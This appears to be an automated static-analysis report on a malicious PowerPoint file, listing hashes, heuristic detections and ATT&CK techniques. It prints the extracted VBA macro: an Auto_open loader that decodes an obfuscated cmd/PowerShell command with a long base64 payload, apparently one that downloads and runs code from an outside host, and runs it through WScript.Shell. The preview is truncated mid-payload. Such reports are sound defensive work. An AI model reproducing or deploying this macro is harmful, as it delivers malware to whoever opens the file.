Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0bf28036ccc2529e…

MALICIOUS

Office (OOXML)

16.4 KB First seen: 2021-09-23
MD5: 869a740dcbcc9246096f62637a64ab69 SHA-1: 3759e8a047813a9f93050d1754cf30fa8b603f8a SHA-256: 0bf28036ccc2529ef1de45025c421a8d367cf71a63ff07dcce0154f40a8a775a
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a malicious VBA macro with an Auto_open subroutine that utilizes WScript.Shell to execute obfuscated code. The script appears to be a loader for a second-stage payload, indicated by the use of CreateObject and Shell() calls. The obfuscated string is likely a command to download and execute further malicious content.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6241 bytes
SHA-256: 336f7e79bf1cce784dd07091bc46e9feffdaad602c50dad690908d2f1c288e70
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nxetzzeo"

Public Sub Auto_open()
rrju.igjz
dsfdas = cxzvxzsf

End Sub

Attribute VB_Name = "rrju"
Function ljknmn(ophji As Variant)
sdfxc = "bvcvhgj  cvnvcfh cvnvhgk"
ljknmn = Chr(ophji - 130)
vcxbdg = "vxvbxdfg cxfgh vcvn gfgh ,vbnvc cvcvn"
End Function
Function usxuwmfgsuozsvgdcukfmdqw(skzwwbvevsuummrbmipjzmmhkuf As String)
svrgb = 0

fdsaf = "cxvx cbbcvx vcxzvsdf fdasxcv"


gilsbxhlbsnxl = "WSCript.shell"
Set vxvpbhmztuzpsdkiofmdkexxt = CreateObject(gilsbxhlbsnxl)

'hjgjg ffhg5645n /*/
bgbefyslcvbmxxyhhgzgxjxosjjmz = vxvpbhmztuzpsdkiofmdkexxt.Run(skzwwbvevsuummrbmipjzmmhkuf, svrgb)
End Function
Sub igjz()

mlwo = ljknmn(197) & ljknmn(239) & ljknmn(198) & ljknmn(162) & ljknmn(177) & ljknmn(229) & ljknmn(162) & ljknmn(242) & ljknmn(241) & ljknmn(224) & ljknmn(249) & ljknmn(224) & ljknmn(199) & ljknmn(212) & ljknmn(213) & ljknmn(224) & ljknmn(202) & ljknmn(199) & ljknmn(224) & ljknmn(206) & ljknmn(206) & ljknmn(162) & ljknmn(175) & ljknmn(199) & ljknmn(162)
mlwo = mlwo & "WwBTAFkAUwB0AGUATQAuAHQARQB4AHQALgBFAE4AQwBPAGQAaQBOAGcAXQA6ADoAdQBOAEkAYwBvAGQAZQAuAGcARQBUAHMAdAByAEkATgBnACgAWwBzAFkAcwB0AGUAbQAuAGMATwBOAFYAZQByAHQAXQA6ADoAZgByAG8ATQBCAEEAcwBFADYANABTAFQAUgBJAG4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcA"
mlwo = mlwo & "WQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAawBBAGQAQQBCAHcAQQBHAEUAQQBaAEEAQgB3AEEARwBFAEEAWQB3AEIAbgBBAEgASQBBAFoAdwBCAHcAQQBIAGcAQQBjAEEAQgAyAEEARwBFAEEAYwB3AEIAegBBAEgATQBBAFkAdwBCAHkAQQBDAEEAQQBLAEEAQQBnAEEAQwBRAEEAYgB3AEIAeQBBAEgATQBBAGIAQQBCAHkAQQBHADQAQQBjAGcAQgAyAEEASABnAEEAYwB3AEIAbABBAEgAVQBBAGIAQQBCADQAQQBDAEEAQQBMAEEAQQBnAEEAQwBRAEEAWQBRAEIAdABBAEgAUQBBAGEAQQBCAHEAQQBHAEkAQQBaAGcAQgBzAEEARwB3AEEAYgBRAEIAawBBAEcAZwBBAFoAdwBCAGwAQQBDAEEAQQBLAFEAQQBOAEEAQQBvAEEAZQB3AEEAZwBBAEcAawBBAFQAUQBCAFEAQQBFADgAQQBVAGcAQgBVAEEAQwAwAEEAYgBRAEIAUABBAEUAUQBBAGQAUQBCAHMAQQBFAFUAQQBJAEEA"
mlwo = mlwo & "QgBDAEEARwBrAEEAVgBBAEIAVABBAEYAUQBBAGMAZwBCAEIAQQBHADQAQQBjAHcAQgBtAEEARwBVAEEAVQBnAEEANwBBAEEAMABBAEMAZwBCAHoAQQBIAFEAQQBZAFEAQgBTAEEASABRAEEATABRAEIAaQBBAEcAawBBAGQAQQBCAFQAQQBIAFEAQQBjAGcAQgBoAEEARwA0AEEAYwB3AEIAbQBBAEUAVQBBAGMAZwBBAGcAQQBDADAAQQBVAHcAQgB2AEEARgBVAEEAVQBnAEIAagBBAEUAVQBBAEkAQQBBAGsAQQBHADgAQQBjAGcAQgB6AEEARwB3AEEAYwBnAEIAdQBBAEgASQBBAGQAZwBCADQAQQBIAE0AQQBaAFEAQgAxAEEARwB3AEEAZQBBAEEAZwBBAEMAMABBAFIAQQBCAEYAQQBGAE0AQQBWAEEAQgBKAEEARQA0AEEAUQBRAEIAVQBBAEUAawBBAFQAdwBCAE8AQQBDAEEAQQBKAEEAQgBoAEEARwAwAEEAZABBAEIAbwBBAEcAbwBBAFkAZwBCAG0AQQBHAHcAQQBiAEEAQgB0AEEARwBRAEEAYQBBAEIAbgBBAEcA"
mlwo = mlwo & "VQBBAE8AdwBBAGcAQQBDAFkAQQBJAEEAQQBrAEEARwBFAEEAYgBRAEIAMABBAEcAZwBBAGEAZwBCAGkAQQBHAFkAQQBiAEEAQgBzAEEARwAwAEEAWgBBAEIAbwBBAEcAYwBBAFoAUQBBADcAQQBDAEEAQQBmAFEAQgAwAEEASABJAEEAZQBRAEIANwBBAEMAUQBBAFoAZwBCAHQAQQBHADQAQQBZAGcAQgByAEEARwBzAEEAZAB3AEIAbABBAEcAawBBAGQAdwBCAG0AQQBHAFkAQQBaAGcAQgBsAEEASABVAEEAYgBRAEIANgBBAEgAVQBBAGUAZwBCAGsAQQBHAFkAQQBjAFEAQgAzAEEASABFAEEAUABRAEEAawBBAEUAVQBBAFQAZwBCAFcAQQBEAG8AQQBWAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCADIAQQBHAEUAQQBiAFEAQgB0AEEARwAwAEEAYQBnAEEAdQBBAEcAVQBBAGUAQQBCAGwAQQBDAGMAQQBPAHcAQQBOAEEAQQBvAEEAYQBRAEIAMABBAEgAQQBBAFkAUQBCAGsAQQBIAEEAQQBZAFEA"
mlwo = mlwo & "QgBqAEEARwBjAEEAYwBnAEIAbgBBAEgAQQBBAGUAQQBCAHcAQQBIAFkAQQBZAFEAQgB6AEEASABNAEEAYwB3AEIAagBBAEgASQBBAEkAQQBBAG4AQQBHAGcAQQBkAEEAQgAwAEEASABBAEEATwBnAEEAdgBBAEMAOABBAE0AUQBBADUAQQBEAFUAQQBMAGcAQQB5AEEARABRAEEATQBnAEEAdQBBAEQARQBBAE0AUQBBAHcAQQBDADQAQQBOAEEAQQAxAEEAQwA4AEEAUgB3AEIAaABBAEgAUQBBAFoAQQBCAG8AQQBHAEUAQQBiAHcAQgA2AEEARwAwAEEAZAB3AEIANgBBAEgARQBBAFkAZwBCAG0AQQBIAEUAQQBjAGcAQgAzAEEARwBjAEEAYgBRAEIAMQBBAEcARQBBAGMAQQBCAHcAQQBHAG8AQQBhAHcAQgB4AEEASABZAEEAYgBBAEIAMABBAEgAQQBBAFoAZwBCAGoAQQBIAGcAQQBhAGcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQB
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 40960 bytes
SHA-256: 5bf10c2c7a3421b053b815bb060abb34b6bcbb89ad93c9ae82d003fc8dd33734
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

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